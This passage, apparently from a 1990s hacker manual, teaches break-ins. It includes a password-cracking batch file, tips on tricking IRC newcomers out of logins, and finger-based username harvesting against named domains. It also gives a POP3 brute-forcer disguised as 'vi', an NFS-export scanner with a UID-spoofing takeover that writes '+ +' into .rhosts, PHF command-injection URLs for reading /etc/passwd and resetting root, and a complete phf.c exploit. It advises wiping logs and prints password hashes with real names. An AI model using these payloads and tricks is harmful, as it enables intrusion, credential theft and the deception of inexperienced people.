      jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
      jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
      jpp -gecos:2 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
      jpp -gecos:2 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
      jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
      jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
      jpp -gecos:2 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
      jpp -gecos:2 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
      jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
      jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
      jpp -gecos:2 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
      jpp -gecos:2 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
      jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
      jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
      
      
      jpp -gecos:4 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
      jpp -gecos:4 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
      jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
      jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
      jpp -gecos:4 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
      jpp -gecos:4 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
      jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
      jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
      jpp -gecos:4 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
      jpp -gecos:4 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
      jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
      jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
      jpp -gecos:4 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
      jpp -gecos:4 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
      jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
      jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
      jpp -gecos:4 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
      jpp -gecos:4 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
      jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
      jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
      jpp -gecos:4 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
      jpp -gecos:4 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
      jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
      jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
      jpp -gecos:4 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
      jpp -gecos:4 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
      jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
      jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
      jpp -gecos:4 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
      jpp -gecos:4 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
      jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
      jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
      jpp -gecos:4 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
      jpp -gecos:4 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
      jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
      jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
      jpp -gecos:4 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
      jpp -gecos:4 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
      jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
      jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
      
      
      jpp -gecos:8 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
      jpp -gecos:8 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
      jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
      jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
      jpp -gecos:8 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
      jpp -gecos:8 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
      jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
      jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
      jpp -gecos:8 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
      jpp -gecos:8 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
      jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
      jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
      jpp -gecos:8 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
      jpp -gecos:8 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
      jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
      jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
      jpp -gecos:8 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
      jpp -gecos:8 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
      jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
      jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
      jpp -gecos:8 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
      jpp -gecos:8 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
      jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
      jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
      jpp -gecos:8 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
      jpp -gecos:8 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
      jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
      jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
      jpp -gecos:8 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
      jpp -gecos:8 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
      jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
      jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
      jpp -gecos:8 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
      jpp -gecos:8 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
      jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
      jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
      jpp -gecos:8 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
      jpp -gecos:8 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
      jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
      jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
      
      --------------- end of jackhash.bat
      
      You can get password files without an account, see next chapter.
      
      ------------------
      Section 2B.
      Talking to newbe's
      ------------------
      
      There are other ways to get an account without doing much work.  Park yourself
      on an irc channel that you made with a title about hacking.  Also try joining
      other channels already on the irc.  Channels would include:
      #hacking #unix #unixhacking #hack #hackers #hacker #virus #virii
      #hackers_hideout or any others you can find.
      
      Now what you are looking for are newbe's looking to learn or exploit their shell
      they are on already.  There is always someone out there that does not know as
      much as you.  Watch for someone out there that asks a newbe question and gets
      no answer or even kicked off the channel.  Here is your mark ;)
      
      /msg him so that others can't see that you are talking to him, and begin to ask
      him questions, try to help him, but not too much ;)  Finally tell him that you
      can login for him and do it.  This could be to snatch the passwd file or god
      knows what.  Promise him the world and get that login password.  Now you have
      a start and can start your on-hands learning process.  If you get root on the
      system you might not want to expose that to him, but you can feed him other
      goodies that will keep him busy while you sniff some other passwords on the
      system.
      
      So now if there are some out there that remember i-e when you gave him your
      login and password, you can be sure that the above never happened <G>rin ...
      
      I tend to like to help people learn so I am telling the truth when i say I
      have dealt honestly with most everyone I have come across.
      
      -------------
      Section 2C.
      The hard way
      -------------
      
      There is another way you can do this.  Be sure that on most big systems
      that users do not use secure passwords.  from a shell do this:
      
      finger @domainname.com  Watch I will do a real domain:
      
      [10:35am][/home/ii]finger @starnet.net
      [starnet.net]
      Login    Name                 Tty   Idle  Login Time   Office     Office Phone
      chris    Chris Myers           p2   4:46  Jan 27 11:19
      mike     Mike Suter            p1   4:57  Jan 22 16:14
      mike     Mike Suter            p5     3d  Jan 16 15:35
      root     System Administrator  p3   4:59  Jan 16 10:17
      wendt    Catherine Wendt-Bern  p0      3  Jan 21 14:49
      [10:35am][/home/ii]
      
      Now we might want to try logging in later, log this information:
      
      Login chris Password try: Chris, chris, myers, Myers, chrismyers, etc...
      
      This one looks good, wendt:Catherine:catherine
      
      Here is another command:
      
      [10:35am][/home/ii]finger -l @starnet.net
      [starnet.net]
      
      
      Login: mike                             Name: Mike Suter
      Directory: /usra/staff/mike             Shell: /bin/csh
      On since Wed Jan 22 16:14 (CST) on ttyp1, idle 5:26, from mikesbox.starnet.net
      On since Thu Jan 16 15:35 (CST) on ttyp5, idle 3 days 22:00, from mikesbox
      Last login Sun Jan 26 23:07 (CST) on ttyp2 from hurk
      No Plan.
      
      Login: root                             Name: System Administrator
      Directory: /root                        Shell: /bin/csh
      On since Thu Jan 16 10:17 (CST) on ttyp3, idle 5:28, from mikesbox.starnet.net
      Last login Thu Jan 16 18:07 (CST) on ttyp6 from mikesbox.starnet.net
      Mail forwarded to:
      \chris@admin.starnet.net
      #\chris@admin.starnet.net, \mike@admin.starnet.net
      No Plan.
      
      Login: wendt                            Name: Catherine Wendt-Bernal
      Directory: /usra/staff/wendt            Shell: /bin/csh
      On since Tue Jan 21 14:49 (CST) on ttyp0, idle 0:02, from veggedout
      No Plan.
      
      You get more info to play with ;)
      
      
      I know this can make you tired ....
      
      Remember this stuff will log your tries, so if you get on and get root, clean
      the logs ;)
      
      Here is a small .c file you can use if you get on.
      
      pop3hack.c
      ----- cut here
      
      #include <stdio.h>
      #include <string.h>
      #include <signal.h>
      #include <unistd.h>
      #include <sys/param.h>
      #include <sys/socket.h>
      #include <netinet/in.h>
      #include <netdb.h>
      #include <stdarg.h>
      
      /* First, define the POP-3 port - almost always 110 */
      #define POP3_PORT               110
      
      /* What we want our program to be masked as, so nosy sys admin's don't kill us */
      #define MASKAS                  "vi"
      
      /* Repeat connect or not - remember, logs still report a connection, so
      you might want to set this to 0. If set to 0, it will hack until it finds
      1 user/password then exit. If set to 1, it will reconnect and try more
      user/passwords (until it runs out of usernames) */
      #define RECONNECT       0
      
      ----- cut here
      
      You could also write a small perl script that will finger @ from a domain
      list and cat the response to a file, then when done it will go back and try
      to login using pop3d username-username (or other info) and putting the
      response into another file for you.
      
      You can ftp to rs.internic.net:
      in the domain directory you will find:
      
      com.zone.gz
      edu.zone.gz
      gov.zone.gz
      mil.zone.gz
      net.zone.gz
      org.zone.gz
      
      
      download these files and run getdomain.pl (script below) on the domains you
      want to target first, in this manor:
      
      "perl getdomain.pl com.zone com >com.all"
      
      What this will do is rip all of the .COM domains and put them into a file
      called comm.all.
      
      If you wanted to do all of the .EDU addresses you would type:
      
      perl getdomain.pl edu.zone edu >edu.all
      
      Now you will have a list to use with your probe called edu.all
      
      Here is the perl script
      
      getdomain.pl
      ---- cut here
      #!/usr/bin/perl
      
      # GetDomain By Nfin8 / Invisible Evil
      # Questions /msg i-e  or  /msg i^e
      #
      # Retrieve command line arguments.
      my($inputfile, $domain) = @ARGV;
      usage() if (!defined($inputfile) || !defined($domain));
      
      # Open and preprocess the input file.
      open(INFILE, "<$inputfile") or die("Cannot open file $inputfile for reading!\n");
      my(@lines) = <INFILE>;
      
      # Initialize main data structure.
      my(%hash) = {};
      my($key) = "";
      
      foreach (@lines) {
        $key = (split(/\ /))[0];
        chop($key);
        next if ((($key =~ tr/.//) < 1) || 
                  (uc($domain) ne uc(((split(/\./, $key))[-1]))) || 
                  ($key =~ m/root-server/i));
        $hash{$key}++;
      }
      
      # Close input file and output data structure to STDOUT.
      close(INFILE);
      
      foreach (sort(keys(%hash))) {
        print "$_\n";
      }
      
      sub usage {
        print("\n\ngetdomain:\n");
        print("Usage: getdomain [inputfile] [search]\n\n");
        print("Where [search] is one of \'com\', \'edu\', \'gov\', \'mil\' or \'net\'.\n\n");
        exit(0);
      }
        
      0;
        
      ---- cut here - end of script -----
      
      To use the script above all you need to do is copy between the lines above
      and name it getdomain.pl, now copy it into the unix os and type
      chmod +x getdomain.pl
      
      Now it is ready to run with the command lines above.
      
      ------------------------------------------
      Section 2D.
      using Mount to gain access to unix systems
      ------------------------------------------
      
      This is not hard to do and there are many systems out there that are mountable.
      Mount is a command in unix that will allow you to mount remote machines drives
      you yours.  This is done so you can do installs from other machines, or just
      share drives or directories across the network.  The problem is that many
      admins are good with unix commands or setup.  Or maybe they are just plain
      lazy and mount the drives with world access not understanding that the world
      can mount the drive and gain write access to their users directories.
      
      What you will need to get started here is a hacked root account.  To be able to
      mount the remote drive and gain access you will need to modify the system's
      password file and use the su command.
      
      Ok let's say we have root access. let's get started!
      
      You can see if another system has mountable drives by using the showmount
      command.
      
      From root account:
      
      $root> showmount -e wwa.com
      mount clntudp_create: RPC: Port mapper failure - RPC: Unable to receive
      
      
      Ok, no problem, this domain will not work, go on to the next one...
      
      $root> showmount -e seva.net
      Export list for seva.net:
      /var/mail                                        pluto.seva.net
      /home/user1                                      pluto.seva.net
      /usr/local                                       pluto.seva.net,rover.seva.net
      /export/X11R6.3                                  rover.seva.net
      /export/rover                                    rover.seva.net,pluto.seva.net
      /export/ftp/linux-archive/redhat-4.1/i386/RedHat (everyone)
      
      Notice the (everyone), this would be good if we wanted to install linux
      from this guy's box, but we want open directories to users.... so go on to
      the next one...
      
      $root> showmount -e XXXXX.XXX < this one worked ... find your own ;)
      Export list for XXXXX.XXX:
      /export/home (everyone)
      
      Now this guy mounted his home directory, the user accounts are off of the home
      directory ;) and look above ... (everyone) can access it!
      
      
      Ok, this section was to show you how to see if they are mountable, in the next
      section i will show you how to mount and hack it.  But for now, here is a
      script that will scan for EVERY DOMAIN on the internet that is mountable and
      log them for you.
      
      To use this script simply use the domain ripper in the PHF section and download
      the needed files from rs.internic.net rip some domains and name the file
      'domains' and startup the script.  To make it run in the background put a
      & after the command.  like this: cmount.pl&
      
      How it works:
      
      When you run the file it will go to the domains list and run showmount -e
      on each domain, if it finds that there is a return on mountable drives
      it will save the info in the current directory in files named:
      domain.XXX.export.  All you have to do is view the files and mount the drives!
      
      --------------- start of cmount.pl
      #!/usr/bin/perl -w
      #
      # Check NFS exports of hosts listed in file.
      # (Hosts are listed, once per line with no additional whitespaces.)
      #
      # ii@dormroom.pyro.net - 2/27/97.
      
      # Assign null list to @URLs which will be added to later.
      my(@result) = ();
      my(@domains) = ();
      my($program) = "showmount -e ";
      
      # Pull off filename from commandline. If it isn't defined, then assign default.
      my($DomainFilename) = shift;
      $DomainFilename = "domains" if !defined($DomainFilename);
      
      # Do checking on input.
      die("mountDomains: $DomainFilename is a directory.\n") if (-d $DomainFilename);
       
      # Open $DomainFilename.
      open(DOMAINFILE, $DomainFilename) or 
        die("mountDomains: Cannot open $DomainFilename for input.\n");
        
      while (<DOMAINFILE>) {
        chomp($_);
        print "Now checking: $_";
      
        # Note difference in program output capture from "geturl.pl".  
        open (EXECFILE, "$program $_ |");
        @execResult = <EXECFILE>;
        next if (!defined($execResult[0]));
        if ($execResult[0] =~ /^Export/) {
          print " - Export list saved.";
          open (OUTFILE, ">$_.export");
          foreach (@execResult) {
            print OUTFILE;
          }
          close (OUTFILE);
        }
        close(EXECFILE);
        print "\n";
      }
        
      # We are done. Close all files and end the program.
      close (DOMAINFILE);
      
      0;
      ----------------- end of cmount.pl
      
      Ok, now on to mounting the drives ....
      
      lets say we did a showmount -e domain.com and got back:
      
      Export list for domain.com:
      /   (everyone)
      /p1 (everyone)
      /p2 (everyone)
      /p3 (everyone)
      /p5 (everyone)
      /p6 (everyone)
      /p7 (everyone)
      /var/spool/mail titan,europa,galifrey
      /tmp            (everyone)
      
      We would want to mount /  .. yup .... this guy has his entire system mountable!
      
      $root> mkdir /tmp/mount
      $root> mount -nt nfs domain.com:/ /tmp/mount
      
      If he had the home directory mountable the command would be:
      
      $root> mount -nt nfs domain.com:/home /tmp/mount
      
      To unmount the system, make sure you are out of the directory and type:
      $root> umount /tmp/mount
      
      Make sure you make the mount directory first, you can make this anywhere on the
      system that you want.  If the systems /mnt directory is empty you can use it
      also.
      
      Ok this is for real:
      
      bash# ls -al /mnt  ; making sure the mnt dir is empty
      ls: /mnt: No such file or directory ; there was not even a dir there ;)
      bash# mkdir /mnt ; lets make one for them <g>rin
      bash# mount -nt nfs xxxxxx.xxx:/export/usr /mnt ; let's mount the sucker ...
      bash# cd /mnt ; changing to the mounted drive...
      bash# ls ; just the plain dir ..
      TT_DB             home              raddb             share
      back              local             radius-961029.gz  www
      exec              lost+found        radius-961029.ps
      bash# ; there is is up there, the home dir ... oh good ...
      bash# cd home
      bash# ls -l  ; long directory listing ... tom is looking good here ;)
      total 18
      drwxr-xr-x   2 judy     other         512 Feb  1 10:41 garry
      drwxr-xr-x  69 infobahn other        5632 Mar 10 01:42 horke
      drwxr-xr-x  11 301      other        2048 Mar  1 10:25 jens
      drwxr-xr-x   2 300      other         512 Oct 15 07:45 joerg
      drwxr-xr-x   2 604      other         512 Feb  8 13:00 mailadmin
      drwxr-xr-x   2 melissa  other         512 Sep 27 06:15 mk
      drwxr-xr-x   6 news     news          512 Mar  6  1996 news
      drwxr-xr-x   2 303      other         512 Jan 24 04:17 norbert
      drwxr-xr-x   4 jim      other         512 Sep 27 06:16 pauk
      drwxr-xr-x   2 302      other         512 Mar  1 10:10 tom
      drwxr-xr-x   5 601      daemon        512 Jan 26  1996 viewx
      drwxr-xr-x  10 15       audio         512 Oct 17 08:03 www
      bash# ; notice tom is user number 302 ... hmmm lets put him in our passwd file
      bash# pico /etc/passwd
      tom:x:302:2::/home:/bin/bash ; this should do it ;)
      bash# su - tom ; su to the tom account ...
      bash$ ls -l
      total 18
      drwxr-xr-x   2 judy     other         512 Feb  1 10:41 garry
      drwxr-xr-x  69 infobahn other        5632 Mar 10 01:42 horke
      drwxr-xr-x  11 301      other        2048 Mar  1 10:25 jens
      drwxr-xr-x   2 300      other         512 Oct 15 07:45 joerg
      drwxr-xr-x   2 604      other         512 Feb  8 13:00 mailadmin
      drwxr-xr-x   2 melissa  other         512 Sep 27 06:15 mk
      drwxr-xr-x   6 news     news          512 Mar  6  1996 news
      drwxr-xr-x   2 303      other         512 Jan 24 04:17 norbert
      drwxr-xr-x   4 jim      other         512 Sep 27 06:16 pauk
      drwxr-xr-x   2 tom      other         512 Mar  1 10:10 tom
      drwxr-xr-x   5 601      daemon        512 Jan 26  1996 view
      drwxr-xr-x  10 15       audio         512 Oct 17 08:03 www
      bash$ ; NOTICE above that toms user number is gone ... we now own his dir!
      bash$ echo + +>>tom/.rhosts  ; this will make a file in his dir called .rhosts
      bash$ ;inside .rhosts will be wild cards + +  for anyone to rlogin to his account
      bash$ rlogin xxxxx.xxx  we are tom on our machine, so lets just rlogin plain.
      Last login: Fri Mar  7 00:16:03 from xxxxx.xxxxxxxxxx
      Sun Microsystems Inc.   SunOS 5.5       Generic November 1995
      >  ; yup we are in!
      > ls -al
      total 8
      drwxr-xr-x   2 tom      group        512 Mar  1 17:10 .
      drwxr-xr-x  14 tom      group        512 Jan 24 11:16 ..
      -rw-r--r--   1 tom      group        144 Dec 30 15:32 .profile
      -rw-r--r--   1 tom      bin            8 Mar 11 08:26 .rhosts
      >
      
      So now we have access, so lets just hack this system ... oops, that is another
      lesson!  Have pun!
      
      ---------------------
      Chapter III
      Getting passwd files
      ---------------------
      
      Here are some ways to get password files from unix systems.  Most of them
      you will need an account, but there is still a way to access to the system
      without having an account.  Here you will learn the difference between a
      regular passwd file and a shadowed passwd file.  You will also learn a way
      to read the shadowed password file.
      
      ------------------
      Section 3A
      PHF WWW PH Query
      ------------------
      
      There is a program in the WWW cgi-bin directory called phf, if the file
      is there, and has permission x, you can access it by using the www, or
      a text version browser in linux called lynx.  Now you can read files on the
      system (yup .. /etc/passwd) and save them to files local in your computer.
      
      There are many things we can get done here.  If the server is running their
      httpd server as root owner, we can be root by using phf and even change an
      account password on the machine.
      
      I will include a perl script here that will auto check all of the systems out
      there by using the getdomain.pl script above and check what the server is
      running under.  If it is running under root, it will just log the id, if the
      server is not running under root, it will auto get the passwd file from the
      /etc directory and name it domainname.???.passwd.
      
      I will also attach a script that will allow you to use a simple command from
      a shell and if phf is on the system allow you to pipe commands from the shell
      to the remote system with one command line.
      
      Ok now that you know what is coming, lets teach you how to use phf.
      
      Use your favorite web browser, or the text version in unix called most of
      the time lynx, on some systems www.
      
      After the screen comes up type the letter g, now a line appears like below:
      
      URL to open:
        Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
        H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list
      
      You type:
      
      URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x%0aid
        Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
        H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list
      
      It returns:
      
                                       QUERY RESULTS
      
      
      
         /usr/local/bin/ph -m alias=x id
      
      uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
      
      
      So here we see it is running under a user (nobody), so we can be a user named
      nobody on this system.  We are not root, but this will have to do ;)
      
      Notice the command line:
      
      http://afp.org/cgi-bin/phf/?Qalias=x%0aid
      
      The id was the command to the server to give us the id of the user.  Some times
      you will have to give the full path to the file you want to run, in this case
      it would have been: http://afp.org/cgi-bin/phf/?Qalias=x%0a/usr/bin/id
      
      Notice that after the %0a you start your command line.  If you need to enter
      a space you would put a %20 instead of the space.  Here would be some sample
      command lines. I will start them with %0a
      
      Cat the passwd file
      %0a/bin/cat%20/etc/passwd
      
      Get a long directory of the /etc directory of all files starting with pass
      %0als%20-al%20/etc/pass*
      
      backup the passwd file if you have root access to httpd to passwd.my
      %0acp%20/etc/passwd%20/etc/passwd.my
      
      Change the root passwd (if the server will let you (most times it works)
      %0apasswd%20root
      
      (the above should let you login without a password, make sure to copy the
      passwd.my file over the passwd file right away, and then delete the backup,
      then make yourself an suid bash shell somewhere and rename it, sniff to get
      your passwords)
      
      If you know how to type commands in unix and don't forget that you need to
      use %20 in the place of spaces, you will not have any problems!
      
      Ok lets cat the passwd file on this box ;)
      
      URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x%0acat%20/etc/passwd
      
      We get:
      
      
                                       QUERY RESULTS
      
      
      
         /usr/local/bin/ph -m alias=x cat /etc/passwd
      
      root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash
      bin:*:1:1:bin:/bin:
      daemon:*:2:2:daemon:/sbin:
      adm:*:3:4:adm:/var/adm:
      lp:*:4:7:lp:/var/spool/lpd:
      sync:*:5:0:sync:/sbin:/bin/sync
      shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
      halt:*:7:0:halt:/sbin:/sbin/halt
      mail:*:8:12:mail:/var/spool/mail:
      news:*:9:13:news:/usr/lib/news:
      uucp:*:10:14:uucp:/var/spool/uucppublic:
      operator:*:11:0:operator:/root:/bin/bash
      games:*:12:100:games:/usr/games:
      man:*:13:15:man:/usr/man:
      postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
      nobody:*:-2:100:nobody:/dev/null:
      ftp:*:404:1::/home/ftp:/bin/bash
      guest:*:405:100:guest:/dev/null:/dev/null
      bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash
      web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash
      mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
      
      A small passwd file <g>rin
      
      If you want to save this to a file in your local directory, just choose the
      print option in the text browser and you will get an option to save the file
      in your home directory.
      
      Lets learn something here:
      
      mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
      1   :2            :3  :4  :5             :6         :7
      
      1=username 2=encrypted password 3=user number 4=groop id 5=real name
      6=home directory 7=shell
      
      Ok, lets say you do not want to keep using the WWW browser, here is a script
      you can compile to just type regular commands from your shell.
      
      phf.c
      ------ cut here----
      
      /* Some small changes for efficiency by snocrash. */
      /*
       * cgi-bin phf exploit by loxsmith [xf]
       *
       * I wrote this in C because not every system is going to have lynx.  Also,
       * this saves the time it usually takes to remember the syntatical format
       * of the exploit.  Because of the host lookup mess, this will take
       * approximately 12 seconds to execute with average network load.  Be patient.
       *
       */
      
      #include <stdio.h>
      #include <string.h>
      #include <sys/types.h>
      #include <sys/socket.h>
      #include <netinet/in.h>
      #include <netdb.h>
      #include <errno.h>
      
      int main(argc, argv)
           int argc;
           char **argv;
      {
           int i = 0, s, port, bytes = 128;
           char exploit[0xff], buffer[128], hostname[256], *command, j[2];
           struct sockaddr_in sin;
           struct hostent *he;
      
           if (argc != 3 && argc != 4) {
                fprintf(stderr, "Usage: %s command hostname [port]", argv[0]);
                exit(1);
           }
      
           command = (char *)malloc(strlen(argv[1]) * 2);
      
           while (argv[1][i] != '\0') {
                if (argv[1][i] == 32) strcat(command, "%20"); else {
                     sprintf(j, "%c", argv[1][i]);
                     strcat(command, j);
                }
                ++i;
           }
      
           strcpy(hostname, argv[2]);
           if (argc == 4) port = atoi(argv[3]); else port = 80;
      
           if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) {
                he = gethostbyname(hostname);
                if (he) {
                     sin.sin_family = he->h_addrtype;
                     memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0], 
                            he->h_length);
                } else {
                     fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname);
                     exit(1);
                }
           }
           sin.sin_family = AF_INET;
           sin.sin_port = htons((u_short) port);
      
           if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) {
                fprintf(stderr, "%s: could not get socket\n", argv[0]);
                exit(1);
           }
      
           if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
                close(s);
                fprintf(stderr, "%s: could not establish connection\n", argv[0]);
                exit(1);
           }
      
           sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X%%0a%s\n", command);
           free(command);
           write(s, exploit, strlen(exploit));
           while(bytes == 128) {
                bytes = read(s, buffer, 128);
                fprintf(stdout, buffer);
           }
           close(s);
      }
      
      -------- cut here
      
      Here is how you use it:
      
      bash% phf id xxx.org
      
      ------
      <H1>Query Results</H1>
      <P>
      /usr/local/bin/ph -m  alias=X
      id
      <PRE>
      uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
      </GET /cgi-bin/phf/?Qalias=X%0aid
      ------
      
      The above was our response, remember to use the %codes after your command.
      To cat the password file using this program you would type:
      
      phf cat%20/etc/passwd hostname.xxx
      
      Yet Another way to use phf was written by Quantumg on his web page, this is
      new and just thought of, so I was sure to add this right into this manual
      for you.
      
      Here is the text:
      
      
      New QG Phf Attack MO
      --------------------
      
      yerp.. I know it's a long time since phf has been considered a viable
      attack but you'd be surprised just how many stupid linux operators there
      are out there..
      
      first.. a little background.
      
      Phf is a cgi-bin executable found on apache web servers.  It is sploitable
      and the result is you can execute commands on the web server as whoever
      they're running httpd as, usually nobody but sometimes as root.  To sploit
      it is simply a matter of connecting to the web server and giving the
      query:
      
              GET /cgi-bin/phf/?Qalias=X%0a
      
      followed by the command you wish to execute with %20 used for spaces.  You
      can do no piping, quotes, shell replacements, etc.
      
      ok.. so on with the attack.  What we are going to do is go and look for a
      linux box (I usually telnet to the box to see the issue.net) which has the
      phf bug.  I, like a whole lot of other people, use the program phf 
      loxsmith to exploit the phf bug.  All it does is connect to the host
      specified in argv[2] and dump the query with argv[1] as the command.  It
      is used as such:
      
              phf id www.host.to.hack
      
      where id is the command you want to execute.  This is the first thing I'd
      do.  Not only does it tell me if the box is sploitable, it also tells me
      what they are running httpd as.  So, assuming we get back a nice response,
      we have a box to hack.  The first problem is getting stuff onto the box to
      execute.  It's not much of a problem.  You can 1 check for writable ftp
      directory's or 2, and my personal favorite, use rcp.  To use rcp you need
      to set up a few things on your machine (or better yet, a machine that you
      hacked earlier).  The first of these things is an account that you can use
      for the transfer.  Select something simple and unmemoriable.  I use the
      username "test".  Next you need to put the name of the host you are
      hacking (www.host.to.hack) in your /etc/hosts.equiv.  Then you need to
      make sure you have a "shell" line in your /etc/inetd.conf and that you
      have restarted inetd to read this line.  Finally you need to create a
      .rhosts file in the test's homedir that has the name of the host you're
      hacking followed by the username that httpd is running as.
      
      /etc/hosts.equiv:
